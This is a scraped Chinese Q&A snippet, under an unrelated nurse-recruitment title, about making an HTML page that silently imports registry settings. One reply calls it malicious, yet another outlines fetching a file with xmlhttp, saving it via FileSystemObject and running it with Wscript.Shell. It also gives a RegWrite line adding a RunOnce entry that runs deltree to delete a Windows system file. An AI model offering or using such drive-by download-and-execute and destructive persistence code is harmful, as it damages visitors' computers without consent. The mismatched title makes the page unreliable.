中山护士最新招聘信息:谁精通html程序

来源:百度文库 编辑:杭州交通信息网 时间:2024/04/24 14:57:07
能否在html中.写入自动导入reg格式的代码?

你想修改人家的注册表嘛?!
这可是恶意代码啊···

1)
用xmlhttp从服务器得到
2)
用Scripting.FileSystemObject保存
3)
用Wscript.Shell执行

用脚本也可以
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u /autorun");

不过有安全警告的。。。。。